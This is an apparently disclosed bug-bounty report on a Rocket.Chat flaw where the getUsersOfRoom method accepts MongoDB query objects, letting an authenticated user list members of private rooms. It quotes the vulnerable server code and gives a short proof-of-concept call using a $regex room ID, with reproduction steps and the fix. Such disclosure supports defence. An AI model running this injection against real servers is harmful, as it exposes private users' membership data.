Rocket.Chat · Report #1410357
getUsersOfRoom discloses users in private channels
Summary
Summary
Improper input data validation in the getUsersOfRoom Meteor server method allows authenticated users to enumerate existing rooms and subscribed users.
Description
Input data in the getUsersOfRoom Meteor server method is not type validated, so that MongoDB query operator objects are accepted by the server, so that instead of a matching rid String a$regex query can be executed, bypassing the room access permssion check for every but the first matching room.
When the user-provided rid method argument is a MongoDB query operator object, the first match will be used to check the requesting users access permissions against (server/methods/getUsersOfRoom.js#L18-L21):
const room = Rooms.findOneById(rid, { fields: { broadcast: 1 } });
if (!room) {
throw new Meteor.Error('error-not-allowed', 'Not allowed', { method: 'getUsersOfRoom' });
}
if (!canAccessRoom(room, { _id: userId })) {
throw new Meteor.Error('not-authorized', 'Not Authorized', { method: 'getUsersOfRoom' });
}
The original ridis later lassed to the findUsersOfRoom method (server/methods/getUsersOfRoom.js#L33-L38:
const users = findUsersOfRoom({ rid, status: !showAll ? { $ne: 'offline' } : undefined, limit, skip, filter }).fetch();
return {
total,
records: users,
};
The rid parameter is then passed unchanged in to Users.findByActiveUsersExcept
return Users.findByActiveUsersExcept(filter, undefined, options, undefined, [{
__rooms: rid,
...status && { status },
}]);
In the Users.findByActiveUsersExcept function the extraQuery object (containing the user-provided rid argument ) queries directly from MongoDB (app/models/server/models/Users.js#L828-L840):
findByActiveUsersExcept(searchTerm, exceptions, options, forcedSearchFields, extraQuery = [], { startsWith = false, endsWith = false } = {}) {
// ...
const query = {
$and: [
{
active: true,
username: { $exists: true, $nin: exceptions },
$or: orStmt,
},
...extraQuery,
],
};
// do not use cache
return this._db.find(query, options);
}
Because the MongoDB find() query can return matches for multiple rooms but the Rooms.findOneById lookup only matches the first, all but the first matching rooms will be accepted without further permission check.
const ACCESSIBLE_CHANEL="<ROOM_ID>";
const TARGET_CHANNEL="<ROOM_ID_REGEX>"; // .* to get all users in any room
Meteor.call(
"getUsersOfRoom",
{ $regex: `(${OWN_CHANNEL}|${TARGET_CHANNEL)" }, // rid
true , // showAll
console.log
);
Releases Affected:
- develop
- 4.1.1 672fe95d7e8afbd7d306cf176f54c65dd9be0eea
- 4.1.2
Steps To Reproduce (from initial installation to vulnerability):
- Login to Rocket.Chat
- Create empty room and find Room ID
- Call
getUsersOfRoomMeteor method with{ $regex: "(<MY_ROOM_ID>|<TARGET_ROOM_ID>" } - Receive list of all users from both channels
Suggested mitigation
- Validate
ridargument to be a String
Impact
Users with access to at least one channel can leak the members of another channel they should not have access to.
Fix
Fixed in 4.7.5, 4.8.2 and 5.0.0
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.